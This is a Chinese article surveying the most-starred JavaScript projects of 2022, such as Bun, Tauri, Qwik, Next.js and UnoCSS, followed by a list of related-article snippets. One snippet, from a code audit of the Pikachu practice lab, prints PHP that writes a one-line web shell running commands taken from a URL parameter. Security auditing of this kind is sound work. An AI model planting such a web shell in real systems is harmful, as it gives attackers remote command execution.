前端号外—2022年明星项目居然是它,Node.js危已?

news2024/11/20 15:28:54

导读 | 2022年是艰难的一年,不仅有互联网的寒冬、还有新冠疫情的洗礼。但是似乎这一切都阻挡不了JavaScript的内卷,一年不长不短的时间中,JavaScript从创新、性能、功能等多维度深度进化,给前端带来了诸多惊喜。本文基于github上流行的JavaScript框架的Star情况进行整理,从9个方面阐述了过去2022年中最受欢迎的项目,再细化不同生态或方向上的最受欢迎的项目情况。想更深入了解JavaScript的发展动态?想了解全面的JS发展方向?想知道Vue或React生态最流行的框架?想知道前端有那些创意十足的项目?想寻找前端学习方向?读完本文,相信你一定会有收获。

开篇

13年前,流行一句话“JavaScript正在吞噬世界,任何可用JavaScript编写的应用程序,最终都会用JavaScript来编写”。13年后的2022年,整个JavaScript正在印证这句话,但需要稍微调整一下“JavaScript正在吞噬世界,任何可用JavaScript编写的应用程序,最终都会用TypeScript来编写”;这一年TypeScript疯狂的发展与颠覆,可谓用如火如荼来形容。Deno和Bun的顶配支持、Next.js默认支持,Vite的开箱支持等等可谓让TS在2022年成为了最大赢家。

这一年前端也更具注重架构,Zero baseline JavaScript、async/await并发、原子化等诸多架构思想涌现;一年的发展,这些架构更成熟,也得到了更多开发者的青睐。这些具体在UnoCSS引擎、主流框架中可以良好的印证。

展望2023年,JavaScript仍然可期。2022年TypeScript得到全面的支持,颠覆JS指日可待;2022年Vue生态平滑、稳定过度Vue3,为来年的创新生态奠基;2022年React18版发布,一系列创新框架正蓄势待发;加油JavaScript!加油2023!

前端最受欢迎的项目

Bun

2022年最受关注的项目是Bun,Bun是一个性能远远超Node的一个运行时环境,简单的理解Bun可以完全替代Node环境。Bun是用Zig编写的,而且内置JavaScriptCore,这为卓越的性能奠定了夯实的基础。Bun的核心是专注于性能和开发者体验,因此得到了大量开发者的青睐。当然Bun除了树立自生特点之外,提供与NPM的一些兼容支持,还建立了自有的一系列生态:

  • 一个包管理器 (类似 Yarn、 NPM、 PNPM)

  • 一个构建工具 (类似 Webpack、 ESBuild、 Parcel)

  • 一个测试运行器

Tauri

2021 年排名第五的 Tauri 在 2022 年更受欢迎了,新增了 3 万颗星星。 这是一个由 Rust 编写的项目,利用 Web 技术创建跨平台的桌面应用程序。它在 6 月份发布了 1.0 版。 它创建之初就考虑到了安全和性能问题。与 Electron 相比,它占用的空间很小,因为开发者必须指定应用程序所需的 API 和能力。

Vue

细心的朋友可能发现为什么Vue没有在榜中呢?其实是这样的,在github上vue2和vue3是两个独立的项目,榜单是按照独立项目来统计的,因此Vue没上榜。但如果把Vue2的9.7K和Vue3的7.9K合并起来一共就是17.6K,在下面的榜单中可以排在第5名。

最受欢迎的前端框架

在2022年,React仍然是王者,如果把Vue2和Vue3算在一起,下面榜中Vue就排名第2,与React相差2万多星,差距并不是很大。而在本年中主要的变化是Qwik横空出世,一举夺下第2的位置。Qwik与React类似,都是使用JSX编写注解,当区别在与Qwik更注重HTML优先,在HTML页面加载的时候,尽可能少的执行JavaScript,因此带给用户的体验是页面打开更快。它是“Zero baseline JavaScript”框架的代表作。

React生态流行项目

在2022年中,React最大的事件时在3月份发布了React18版本,提供包括并发功能的一系列API。并在框架中实现了标准化和孵化系统新功能(比如 async/await)。

值得注意的是,Next.js和React的星相差无几,其活跃程度相当的高,并在10月份Next发布13版本。

对于2023年React,仍然有不少的看点,比如基于18版本的创新项目、UI组件等方面的增长。

Vue生态流行项目

2022年是Vue3过度的一年,总感觉该生态圈今年主要目标是就平滑过度Vue3,在创新上今年并没有表现突出。圈内项目都在积极推动对于Vue3的支持并稳定发展。项目曲边AutoAnimate是今年新进入前5的新项目,主要是一个零配置的嵌入式动画框架,弥补了Vue在动画方面无好用的动画框架的空白。值得推荐一波。

移动开发流行项目

在移动开发中依旧是Flutter和React Native。不过从下榜中我们看见一个非常重要的信号,Vue Native已经出圈了,大伙们这个是一个2023年的机会,值得你们拥有。

流行的JS CSS项目

熟练的前端工程师应该都有一个共同的感受就是,CSS的冗余太严重了,所以在CSS架构领域有一个方向就是原子化CSS。所谓的原子化CSS就是把CSS样式类单一化,并以其样式视觉效果命名样式类。这种架构方式能有效的解决CSS冗余的问题。而在下榜单中UnoCSS就是一个用于处理原子化CSS的引擎。从2021-9月份发布,不到1年半的时间,能占据榜单第一,可想象原子化CSS的架构正在被更多的开发者所任何,且也是2023年值得关注的项目之一。

桌面开发流行项目

在桌面开发流行项目中依然没有Flutter项目(它太强拉~),其它桌面开发框架相对2021年没什么太大的变化,变化相对较大的是NodeGUI很意外的跌出了前5,Nativefier在2022年的增持翻倍,可以小关注一波。

静态化流行项目

静态化一致是前端不可忽视的方向,榜单中React生态的Next.js次序蝉联,Vue生态的Nuxt成绩也是不错。还没关注此方向的小伙伴,2023可要关注起来哟~

状态管理流行项目

状态管理,前端不可缺少的方向之一,但是比较小众,根据相关前端框架流行而流行,与2021年无多大的变化,就不在赘述。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/159295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JVM调优简介

数据类型 java虚拟机中,数据类型可以分为两类:基本类型和引用类型。 基本类型的变量保存原始值,即:它代表的值就是数值本身,而引用类型的变量保存引用值。 “引用值”代表了某个对象的引用,而不是对象本身&…

JSP内置对象详解 常用方法

目录 out request response session application exception page config pageContext JSP内置对象的作用域 JSP内置对象是在JSP运行环境中已定义好的对象,可在JSP页面的脚本部分直接使用。 out对象 out 为输出流对象,主要用于向客户端输出流…

Java-容器

一、ListArrayList<>&#xff08;变长数组&#xff09;实现add( )&#xff1a;在末尾添加一个元素clear( )&#xff1a;清空size( )&#xff1a;返回长度isEmpty( )&#xff1a;是否为空get(i)&#xff1a;获取第i个元素set(i, val)&#xff1a;将第i个元素设置为val&…

以太网接口电路设计

标准的以太网接口是这种RJ45的连接器它总共8个引脚&#xff0c;当设计成千兆以太网时&#xff0c;这8个引脚都会用到&#xff0c;大家可以看下千兆以太网引脚的信号定义&#xff0c; 0&#xff0c; 0-&#xff0c; 1&#xff0c; 1-&#xff0c; 2&#xff0c; 2-&#xff0c; …

计算机体系结构详解

文章目录1 概述1.1 计算机体系结构图1.2 计算机硬件系统图2 网工软考真题3 扩展1 概述 1.1 计算机体系结构图 1.2 计算机硬件系统图 冯 诺依曼 设计的体系结构&#xff0c;由 CPU&#xff08;运算器、控制器&#xff09;、存储器、输入/输出设备&#xff08;I/O&#xff09;…

Windows同时安装两个版本JDK,并实现动态切换版本JDK8和JAVA17教程

一、下载安装两个版本的JDK 官网下载地址&#xff1a;Java Downloads | Oracle 下载版本 jdk1.8.0_271 和 jdk-17.0.5 下载安装成功后&#xff0c;安装路径E:\Java\上 JDK8 有两个包一个jdk1.8.0_271&#xff0c;一个jre1.8.0_271。JDK17只有一个jdk-17.0.5 二、JDK的环境配…

图的最小生成树

文章目录最小生成树的概念Prim算法邻接表邻接矩阵验证PrimKruskal算法邻接表邻接矩阵验证Kruskal源代码邻接表邻接矩阵最小生成树的概念 最小生成树(Minimum Spanning Tree) : 在加权连通图(连通网)的所有生成树中, 各边权值之和最小的生成树, 称为最小生成树. 该定义是在无向…

strapi系列-如何去除接口里的attributes以及 data key,配置关联数据等

我们先来创建一个接口&#xff0c;然后看一下正常接口返回的数据格式是什么样子 创建表以及字段 添加一条数据 配置接口权限 我暂时给了这个接口PUBLIC权限&#xff0c;用来测试 使用postman进行接口测试 我们可以看到&#xff0c;这里被包了一层attributes&#xff0c;如…

密码学_ZUC算法

目录 ZUC算法介绍 算法结构 线性反馈移位寄存器LFSR LFSR初始化模式 LFSR工作模式 比特重组BR 非线性函数F 加密流程 ZUC算法介绍 祖冲之算法集&#xff08;ZUC算法&#xff09;是由我国学者自主设计的加密和完整性算法&#xff0c;包括祖冲之算法、加密算法128-EEA3和完整…

【Spring AOP】@Aspect结合案例详解(二): @Pointcut使用@within和within(已附源码)

文章目录前言within完善打印日志案例within深入说明within匹配指定类匹配指定包(package)源码下载总结前言 在微服务流行的当下&#xff0c;在使用Spring Cloud / Spring Boot框架开发中&#xff0c;AOP使用的非常广泛&#xff0c;尤其是Aspect注解方式当属最流行的&#xff0…

pikachu代码审计

pikachu代码审计 写一句话的文件 <?php /*** Created by runner.han* There is nothing new under the sun*/$myfile fopen("yijuhua.php","w"); $txt <?php system($_GET[x]);?>; fwrite($myfile,$txt); fclose($myfile);?>高等级缺陷…

管理员应了解的 SIEM解决方案七大功能 !

SIEM解决方案已成为企业网络安全武器库中不可或缺的一部分。但由于SIEM功能过于复杂且架构难以理解&#xff0c;企业往往SIEM的潜在功能。遗憾的是&#xff0c;他们忽视的潜在功能正是解开企业网络合规的重要部分。例如&#xff0c;处理客户信用卡信息的企业需要遵守PCI-DSS要求…

Spring框架使用流程——我们来跟Spring打个招呼吧~

目录 前言 一、ApplicationContext 和 BeanFactory 的区别 二、主要工作流程 三、开发步骤 3.1、创建Maven项目 3.2、创建Spring的核心配置文件 3.3、创建程序入口类 3.4、跟Spring打声招呼吧~ 小结 前言 有两大顶级接口可以获取Spring对象&#xff0c;他们分别是 Appl…

基于STM32的无线模拟病房呼叫系统

一. 系统设计和框图 本系统主要功能为模拟病房的无线呼叫系统&#xff0c;呼叫端&#xff08;病床&#xff09;为从机&#xff0c;被呼叫端&#xff08;护士站&#xff09;为主机&#xff0c;系统采用一主多从的通信方式&#xff0c;主机和从机之间采用无线通信方式。 主机端…

Ubuntu22安装MySQL5.7

目录下载MySQL安装包解压安装包安装MySQL5.7.39默认情况下&#xff0c;Ubuntu22安装MySQL的版本为8.0。但8.0更加严格的加密规则&#xff0c;使得一些配置难以实现&#xff0c;下面就来为大家介绍在ubuntu22中怎么安装MySQL5.7.x。 下载MySQL安装包 下载地址&#xff1a;MySQ…

mysql binlog恢复误删的数据

mysql通过binlog日志恢复数据 前提条件 开启备份备份及恢复原理 了解mysql主从复制&#xff0c;就知道slave会开启一个线程&#xff0c;去获取master的binlog二进制文件&#xff0c;用于同步数据&#xff0c;mysql通过binlog恢复数据也便是如此的&#xff0c;只不过是我们人为…

mysql快速生成100W条测试数据(3)电商单店用户购买力数据

这是之前的文章里面包含一些以前的一些操作流程可以进行参考学习 更加详细操作步骤在第一篇文章里面 mysql快速生成100W条测试数据&#xff08;3&#xff09;电商单店用户购买力数据1.新增一个电商单店铺销售表2.创建表之后我们依然使用100万条数据作为我们要生成的行数3.id号根…

【数据结构初阶】6. 树和堆

1. 树概念及结构 1.1 树的概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 有一个特殊的结点&#…

什么是元学习

什么是元学习 元学习介绍 元学习希望能够使得模型获取调整超参数能力&#xff0c;使其可以在获取已有的知识基础上&#xff0c;快速学习新任务。 元学习目的 元学习和机器学习的区别在于&#xff1a;机器学习是先人为调参&#xff0c;之后直接训练特定任务下的深度学习模型…

U盘打不开,提示格式化怎么办?不小心确定U盘格式化如何找回数据?

U盘是很常用的数据存储设备&#xff0c;存储空间大&#xff0c;携带方便。 很多用户在使用U盘的过程中&#xff0c;经常会遇到U盘格式化弹窗提示的问题。如果每次插入U盘都出现这个提示就会很影响使用&#xff0c;最糟糕的结果是不小心点了格式化&#xff0c;那么之前储存的文…